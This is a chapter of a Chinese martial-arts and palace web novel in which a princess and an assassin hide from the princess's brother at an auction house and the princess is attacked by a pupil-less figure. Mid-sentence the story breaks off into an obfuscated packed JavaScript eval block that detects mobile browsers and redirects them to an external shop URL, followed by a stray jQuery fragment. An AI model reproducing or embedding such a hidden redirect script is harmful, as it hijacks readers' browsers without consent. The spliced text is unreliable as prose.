赵琰一身云缎锦衣,一出现就吸引场内所有人的目光,他身后还跟着眉眼低垂的小厮,众人眼尖,只觉他身份不凡。
赵璃一看到他,瞳孔便骤然收缩,像是见到了猫的老鼠,慌忙躲到辛珞身后。
辛珞也没多好,虽不至像她这样,可也迅速低下了头。
该死,他怎么会来?在这个地方被认出可不是什么好事。
幸好赵琰眼高手低,根本看不上这满堂坐着的人,他径自走到第一排的位置,不知是作为达官显贵还是华清门代表而来。
“那人谁啊?把你们吓成这样。”红慎看她们恨不得把头缩地上的架势,好笑开口。
赵璃万万没想到在这能碰到赵琰,这不就是自投罗网吗?她皇兄什么时候对拍卖会上心了?不行,不能留在这,迟早会被他看到的。
于是她轻轻扯了扯辛珞的袖子,小声;道:“姐姐,我肚子疼,你能陪我去找地方休息一下吗?”
辛珞还没出声,红慎就先说:“喂喂,拍卖在即,你俩都走了,留本公子一个人在这是不是太不义气了?”
“你一个大男人有什么好怕的!”赵璃怼道,“反正你们没人去的话,我就自己去了。”
红慎啧了一声,真是公主脾气爆发谁也挡不了。
辛珞也觉得当下还是避着些好,倒不是说她怕了赵琰,只是如果放任赵璃一个人乱跑的话,保不齐会出事,这里还是立场不明的金玉堂的地盘,没准在其他角落能查到些什么。
没办法,既然找青南玉玦的事泡汤了,她就不得不把精力放在永夜宫的任务上。
想好后,她弯腰凑近红慎,低声道:“此次还是分头行动,你在前面这盯着,我去后方,这个身份不容易引人怀疑。”
红慎自是无法反驳,她的决定一般他也懒得置喙。
就这样,在高台上的帘幕缓缓拉开,馆主宣告拍卖正式开始之时,两个女子绕行后角悄然退场,走出大堂。
这番动作很轻,几乎没有人注意到,然而站在赵琰旁边的那个小厮余光却是向后一扫,随即对赵琰附耳:“有两个婢女离开了。”
“婢女离开你也要向本王禀告?”赵琰瞪他一眼,“曹先生,舅舅说你心思缜密,但也没必要到这种程度吧?”
赵琰早就看不惯此人了,自从他到锦州,容期就派了这么个人在他身边,据说是早年在边疆所得的人才,蛮夷小国出身,可就是得到他舅舅的青眼,在都护府多年,深受容期信任。
而此人在他这里更是事事都要说教,形影不离,他半点自由也没有,上次在知州府是这样,今日好不容易找了个托口来这拍卖会,他依然跟着他,真乃憋屈。
偏偏曹介还一副恭顺谦卑样,赵琰说话不客气他也不恼,只不紧不慢道:“小人观那两个女子,一人会武,一人则像极了公主殿下。”
“当真?”赵琰这才显出惊讶的表情,随后就是半信半疑,“舅舅派人找了这么多天都没消息,璃儿会在这里?”
“小人不敢完全保证。”
赵琰轻呵了一声,还说什么有过人之处,他看只不过是惯会说些唬人之词的酒囊饭袋。
见他再无后话,曹介也没说什么,安静退回原处。
台上馆主洋洋洒洒讲了一堆场面话,接下来便是介绍今晚第一件拍品,是一件软甲,轻如鹅羽,薄如蝉翼,穿上可抵消敌人的一记致命伤。
红慎刚开始还目不转睛盯着,紧接着就无聊得打瞌睡,看了半天,也没看出有啥阴谋……
——
拍卖进行中,禁止人员走动。
辛珞和赵璃避着驻守的下人,从屏风后穿行,装作洒扫的丫鬟上了二楼,二楼多是独立雅室,许是人都跑到下面去伺候了,所以走廊上显得格外冷清。
廊道灯火阑珊,雅室的门都是关着的,她们随意来到一间房前,辛珞从赵璃头上取下一枚簪子,插进门锁一扭,推门而入。
里面无客,装饰典雅,花炉里飘着淡淡的木犀香,正中处立有屏风,素绢白面,极为干净舒朗。
二人关上门,赵璃这才长舒一口气,在案边坐下。
辛珞警惕地检查了一下周围,确定此处无第三人的气息。
室内隔音做的很好,几乎听不到下面拍卖叫价的声音。
原本是个近距离接触那些江湖高手的机会,说不准还能被某个大侠看中收为弟子,开启她仗剑天涯的一生,谁承想现在她只能躲在屋子里,红慎说的还真没错,她如今这样,跟通缉犯有什区别?
赵璃苦恼地抓抓头发,本就没怎么盘好的发髻一下子松散开来,彻底变成了披发。
连这破头发都欺负她……她真要哭了。
转眼又看见辛珞冷若冰霜的面庞,全身每个汗毛都透着警觉,她扫视着室内每个角落,迈步准备到屏风后的暖帐那边去看看。
赵璃有一种说不出的累。
她忽然道:“辛珞姐姐,你是不是认识我皇兄?”
辛珞停下,转头看她:“你皇兄?”
“姐姐,你骗不过我的眼睛。”小姑娘两根手指指了指自己的双眼,声调轻扬,“明明你一看到我皇兄也和我一样低下头,生怕他看到你的脸,说明你肯定认识他,怎样,我说对了吧?”
“你的意思是,我怕他?”辛珞掀了掀眼帘。
“当然不是,就我皇兄那个模样,连我都不怕,更别说姐姐了。”赵璃顿了顿,带了丝试探的语气,“不会是有人要买他的命,所以你要杀他吧?”
辛珞目光定定望向她。
这话,倒是对了一半,她确实想杀赵琰,他要找的那个人她现在都还没有行动,若是三个月后真无半点眉目,总不可能站着等他来杀吧?
总要防患未然的。
但是面对赵璃,她不可能这么说,于是她道:“没有。”
赵璃肉眼可见松了口气,也对,谁会想着杀皇子呢?这可真是要杀头的,毕竟也是宠着她长大的皇兄,她自然不希望他出事。
辛珞见她一副放下心来的样子,眼底不由晦暗,如果最后真的要杀赵琰,那赵璃该如何处置……这是一个需要考虑的问题,不到万不得已,她也不想背负两条皇家血命。
屋内安谧,暂无异常。辛珞不太习惯全然无声的环境,想起外面的拍卖情况,她说道:“你在这呆着,我出去看看。”
赵璃点头。她自然知道辛珞和红慎有事要办,毕竟之前也偷听到一点,俗话说知道的越多死得越快,她可不会想不开去盘问,这么来看,出门一趟,她好像真的成长了。
辛珞把门掩上,来到镂空栏板前,从这里往下看,正好能看到楼下的拍卖高台,旁有纱帘,她轻轻挽过一角,遮了身躯,静静俯视。
馆主是个生人,天机堂里并无他的情报记录,应是金玉堂推出来的一个人前幌子,已拍出去三件珍宝,分别为三个门派所得。
辛珞还看到红慎在悠哉悠哉吃点心,眼皮耷拉着,似是下一秒就要睡过去,她摇了摇头。
蓦地,她感受到一道不甚明显的视线,精准锁定在自己身上,她眸光微凝,最后定格在赵琰身边的位置,不甚起眼的小厮落入她眼底。
他丝毫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793744|205392||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不掩饰,二人的视线在空中无声交碰。
辛珞眉尖轻轻一动。
她对这人有点印象,即使换了不同的装束,她还是认出这是上次在知州府前赵琰的那个车夫,从当时他们的对话来看,此人不是普通的下人,类似有武力傍身的幕僚。
他发现她了?但他没有动手的趋势,是想先观望一下她要做什么吗?
既然如此,那暂无威胁。
辛珞又观察了片刻堂下的宾客,直到熟悉的头疼升起,她放下纱帘,往后退了两步。
不知是不是她的错觉,虽然今晚来了很多人,且个个都是名副其实的江湖豪杰,但是……除了她们三人是以权贵的身份而来,其他人皆是各自门派的代表,当然,赵琰本就出自华清门,说是华清门的代表也并非不可。
醉月馆拍卖之物确实都是江湖人所热衷的名器名谱一类,可也没道理一个贵族也没有,它花了这么多年混成了锦州城三大会所之一,拍卖会这么大的事,怎可能没人看热闹?
辛珞的眉头越皱越深。
甚至于她站在回廊上,扇扇紧闭的雅室门扉都透着深不见底的诡异,客人……客人去哪了?为什么这么安静?
她刚才和赵璃是随便开的一扇门,本做好里面会有人的准备,然而却是空的。
辛珞盯着这些雕花室门看了会,鬼使神差提步,缓缓来到里间的门前,耳朵贴上仔细倾听,不出所料,只能听到自己的心跳声。
就在她要拔锁之际——
“啊!是谁!”
惊呼声从另一头传来,紧接着就是身体砸在屏风上的粗重声,噼里啪啦的物品落地。
辛珞的心骤然一坠,急速赶去。
这是赵璃的声音。
楼上的动静自然惊动了下面的人,大家都是练武的江湖人士,耳力比平常人都要好。
众人抬头看向二楼,只见一道快如残影的身影掠过,还未看清,“啪”的一声,满堂烛火刹那燃灭,黑暗伺机笼罩。
满场哗然,侠士们纷纷拔剑。
“怎么回事?灯怎么灭了?”
“方才二楼那是谁?会不会是她在搞鬼,想搅黄拍卖吗?”
“不对劲不对劲,你们听,上面有打斗声。”
众人听此,皆竖起耳朵。
“……”
赵璃原本坐的好好的,只是窗户大开,入夜的凉风擦过窗棂窜进来,吹得满屋绣纱翩飞鼓舞,她不自觉哆嗦,起身准备去关窗。
窗在屏风另一侧,靠近暖帐,她掩窗之时,不经意瞥见铜镜中映着一个模糊的人影,层层叠叠的轻纱都挡不住那人盯她背影的眼神,并且其眼睛是白色的,瞳孔近乎于无,恍若鬼怪。
她条件反射大喊,那一瞬间,身体的血液几乎倒灌入脑,她摸到后腰,来不及抽出银丝软鞭,那人便瞬间弹起近前,将她提起狠狠砸在屏风上,屏风横柱应声断裂,剧痛霎时席卷全身,旋即他近身一把掐住她的脖子,把她吊在半空!
此人一上来就是十足十的力,她的脖颈差点被直接扭断,窒息感上涌,赵璃双腿不断扑腾,长案上摆放的窑瓶、茶盘等全然掀落,她也看清了此人的面容。
鬼,真的是鬼。
这人……当真没有瞳孔!而且抓她的这只手也仿佛没有骨头似的,明明绵软却又如此强劲。
短短几秒,她已在死亡边缘。
感觉自己坚持不到下一秒了,可这一秒,她恍惚看到有人从窗口那飞速跳进来,银白色的面具冒着寒光。
“面……具脸……”
她闭上了眼睛。